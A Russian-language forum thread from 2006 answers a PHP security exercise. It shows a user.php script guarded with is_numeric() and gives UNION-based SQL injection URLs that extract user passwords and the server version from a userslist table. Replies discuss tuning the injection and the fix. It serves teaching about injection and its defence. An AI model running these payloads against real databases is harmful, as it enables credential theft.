|
|
|
| Ответ 003 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
user.php
<?php
// Устанавливаем соединение с базой данных
require_once("config.php");
//Если идентификатор число
if (is_numeric($_GET[id_user])) //, то
$query = "SELECT * FROM userslist WHERE id_user = $_GET[id_user]"; // Запрашиваем список всех пользователей
/* Как ещё один вариант защиты, можно выбрать максимальный ID и смотреть,
чтобы id_user всегда был меньше него и больше нуля */
$usr = mysql_query($query);
if(!$usr) exit("Ошибка - ".mysql_error());
$user = mysql_fetch_array($usr);
echo "Имя пользователя - $user[name]<br />";
if(!empty($user['email'])) echo "e-mail - $user[email]<br />";
if(!empty($user['url'])) echo "URL - $user[url]";
?>
|
Инъекция:
Для того чтобы получать разные пароли нужно менить первую цифру в LIMIT
В качестве ID - вводим любое большое число
user.php?id_user=99 UNION SELECT NULL, pass, NULL, NULL, NULL FROM userslist LIMIT 0,1
| или
user.php?id_user=99 UNION SELECT 0,pass,0,0,0 FROM userslist LIMIT 0,1
|
Узнаем весию сервера
user.php?id_user=99 UNION SELECT NULL,VERSION(), NULL, NULL, NULL
| или
user.php?id_user=99 UNION SELECT 0,VERSION(),0,0,0
|
http://www.softtime.ru/info/task.php?id_article=81 | |
|
|
|
|
|
|
|
для: SoftTime
(07.03.2006 в 17:25)
| | Не удобно то, что число записей в базе данных может привышать 100 и включать 99 для первого эксплоита это не старшно, а вот для второго уже критично. Кроме того, разумно было бы использовать сортировку ORDER BY id_user, так как записи могут идти не попорядку и определить принадлежность пароля будет сложновато, так как первое число в LIMIT не будет коррелировать с id_user. Однако в данных конкретных условиях это не имеет значение, а чем в меньших ситуациях будет работать SQL-инъекция тем лучше для всех нас :)))
Защита мне нравится, так как я чего-то не доверяю is_numeric(), но она работает и обойти мне её никаким ухищрениями не удалось. | |
|
|
|
|
|
|
|
для: cheops
(13.03.2006 в 00:09)
| | Я просто подумал, что если сначала вывести имя пользователся с LIMIT n, то и пароль для него будет лежать в LIMIT n. | |
|
|
|